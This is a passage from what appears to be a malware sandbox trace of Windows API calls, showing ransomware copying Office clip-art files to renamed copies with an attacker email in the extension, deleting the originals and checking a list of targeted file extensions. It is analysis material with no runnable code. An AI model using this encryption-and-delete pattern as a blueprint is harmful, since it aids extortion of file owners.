dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0107.611] GetLastError () returned 0x0 [0107.611] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xa4c, lpOverlapped=0x0) returned 1 [0107.613] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xa50, lpOverlapped=0x0) returned 1 [0107.614] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0107.614] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0107.614] SetEndOfFile (hFile=0x384) returned 1 [0107.614] CloseHandle (hObject=0x384) returned 1 [0107.615] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.615] SetEndOfFile (hFile=0x364) returned 1 [0107.617] CloseHandle (hObject=0x364) returned 1 [0107.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0107.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.617] lstrlenW (lpString=".doc") returned 4 [0107.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.617] lstrlenW (lpString=".docx") returned 5 [0107.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.618] lstrlenW (lpString=".pdf") returned 4 [0107.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString=".xls") returned 4 [0107.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.618] lstrlenW (lpString=".xlsx") returned 5 [0107.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.618] lstrlenW (lpString=".ppt") returned 4 [0107.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.618] lstrlenW (lpString=".zip") returned 4 [0107.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.618] lstrlenW (lpString=".rar") returned 4 [0107.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString=".bz2") returned 4 [0107.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString=".7z") returned 3 [0107.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.618] lstrlenW (lpString=".dbf") returned 4 [0107.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.618] lstrlenW (lpString=".1cd") returned 4 [0107.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.619] lstrlenW (lpString=".jpg") returned 4 [0107.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.619] lstrlenW (lpString=".doc") returned 4 [0107.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString=".docx") returned 5 [0107.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.619] lstrlenW (lpString=".pdf") returned 4 [0107.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString=".xls") returned 4 [0107.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.619] lstrlenW (lpString=".xlsx") returned 5 [0107.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.619] lstrlenW (lpString=".ppt") returned 4 [0107.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.619] lstrlenW (lpString=".zip") returned 4 [0107.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.619] lstrlenW (lpString=".rar") returned 4 [0107.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString=".bz2") returned 4 [0107.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.619] lstrlenW (lpString=".7z") returned 3 [0107.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.620] lstrlenW (lpString=".dbf") returned 4 [0107.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.620] lstrlenW (lpString=".1cd") returned 4 [0107.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0107.620] lstrlenW (lpString=".jpg") returned 4 [0107.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.620] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.620] lstrlenW (lpString="AN04191_.WMF") returned 12 [0107.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.621] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6636) returned 1 [0107.621] CloseHandle (hObject=0x364) returned 1 [0107.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0107.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.621] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.621] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0107.622] GetLastError () returned 0x0 [0107.622] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x19ec, lpOverlapped=0x0) returned 1 [0107.624] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x19f0, lpOverlapped=0x0) returned 1 [0107.625] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0107.625] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0107.625] SetEndOfFile (hFile=0x384) returned 1 [0107.626] CloseHandle (hObject=0x384) returned 1 [0107.627] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.627] SetEndOfFile (hFile=0x364) returned 1 [0107.628] CloseHandle (hObject=0x364) returned 1 [0107.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0107.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.629] lstrlenW (lpString=".doc") returned 4 [0107.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.629] lstrlenW (lpString=".docx") returned 5 [0107.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.629] lstrlenW (lpString=".pdf") returned 4 [0107.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.629] lstrlenW (lpString=".xls") returned 4 [0107.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.629] lstrlenW (lpString=".xlsx") returned 5 [0107.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.629] lstrlenW (lpString=".ppt") returned 4 [0107.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.629] lstrlenW (lpString=".zip") returned 4 [0107.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.630] lstrlenW (lpString=".rar") returned 4 [0107.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString=".bz2") returned 4 [0107.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString=".7z") returned 3 [0107.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.630] lstrlenW (lpString=".dbf") returned 4 [0107.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.630] lstrlenW (lpString=".1cd") returned 4 [0107.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.630] lstrlenW (lpString=".jpg") returned 4 [0107.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.630] lstrlenW (lpString=".doc") returned 4 [0107.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.630] lstrlenW (lpString=".docx") returned 5 [0107.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.630] lstrlenW (lpString=".pdf") returned 4 [0107.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString=".xls") returned 4 [0107.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.631] lstrlenW (lpString=".xlsx") returned 5 [0107.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.631] lstrlenW (lpString=".ppt") returned 4 [0107.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.631] lstrlenW (lpString=".zip") returned 4 [0107.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.631] lstrlenW (lpString=".rar") returned 4 [0107.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString=".bz2") returned 4 [0107.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString=".7z") returned 3 [0107.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.631] lstrlenW (lpString=".dbf") returned 4 [0107.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.631] lstrlenW (lpString=".1cd") returned 4 [0107.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0107.631] lstrlenW (lpString=".jpg") returned 4 [0107.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.632] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.632] lstrlenW (lpString="AN04195_.WMF") returned 12 [0107.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.632] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4612) returned 1 [0107.632] CloseHandle (hObject=0x364) returned 1 [0107.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0107.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.633] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.633] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0107.633] GetLastError () returned 0x0 [0107.633] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1204, lpOverlapped=0x0) returned 1 [0107.635] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1210, lpOverlapped=0x0) returned 1 [0107.636] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0107.636] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0107.637] SetEndOfFile (hFile=0x384) returned 1 [0107.637] CloseHandle (hObject=0x384) returned 1 [0108.437] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.437] SetEndOfFile (hFile=0x364) returned 1 [0108.438] CloseHandle (hObject=0x364) returned 1 [0108.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0108.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.589] lstrlenW (lpString=".doc") returned 4 [0108.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString=".docx") returned 5 [0108.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.589] lstrlenW (lpString=".pdf") returned 4 [0108.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString=".xls") returned 4 [0108.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.589] lstrlenW (lpString=".xlsx") returned 5 [0108.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.589] lstrlenW (lpString=".ppt") returned 4 [0108.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.589] lstrlenW (lpString=".zip") returned 4 [0108.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.589] lstrlenW (lpString=".rar") returned 4 [0108.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString=".bz2") returned 4 [0108.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString=".7z") returned 3 [0108.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.589] lstrlenW (lpString=".dbf") returned 4 [0108.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.589] lstrlenW (lpString=".1cd") returned 4 [0108.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.590] lstrlenW (lpString=".jpg") returned 4 [0108.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.590] lstrlenW (lpString=".doc") returned 4 [0108.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.590] lstrlenW (lpString=".docx") returned 5 [0108.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.590] lstrlenW (lpString=".pdf") returned 4 [0108.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.590] lstrlenW (lpString=".xls") returned 4 [0108.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.590] lstrlenW (lpString=".xlsx") returned 5 [0108.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.590] lstrlenW (lpString=".ppt") returned 4 [0108.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.590] lstrlenW (lpString=".zip") returned 4 [0108.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.590] lstrlenW (lpString=".rar") returned 4 [0108.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.591] lstrlenW (lpString=".bz2") returned 4 [0108.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.591] lstrlenW (lpString=".7z") returned 3 [0108.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.591] lstrlenW (lpString=".dbf") returned 4 [0108.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.591] lstrlenW (lpString=".1cd") returned 4 [0108.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0108.591] lstrlenW (lpString=".jpg") returned 4 [0108.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.591] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.591] lstrlenW (lpString="AN04384_.WMF") returned 12 [0108.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.593] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4996) returned 1 [0108.593] CloseHandle (hObject=0x364) returned 1 [0108.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0108.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.595] GetLastError () returned 0x0 [0108.595] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1384, lpOverlapped=0x0) returned 1 [0108.597] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, 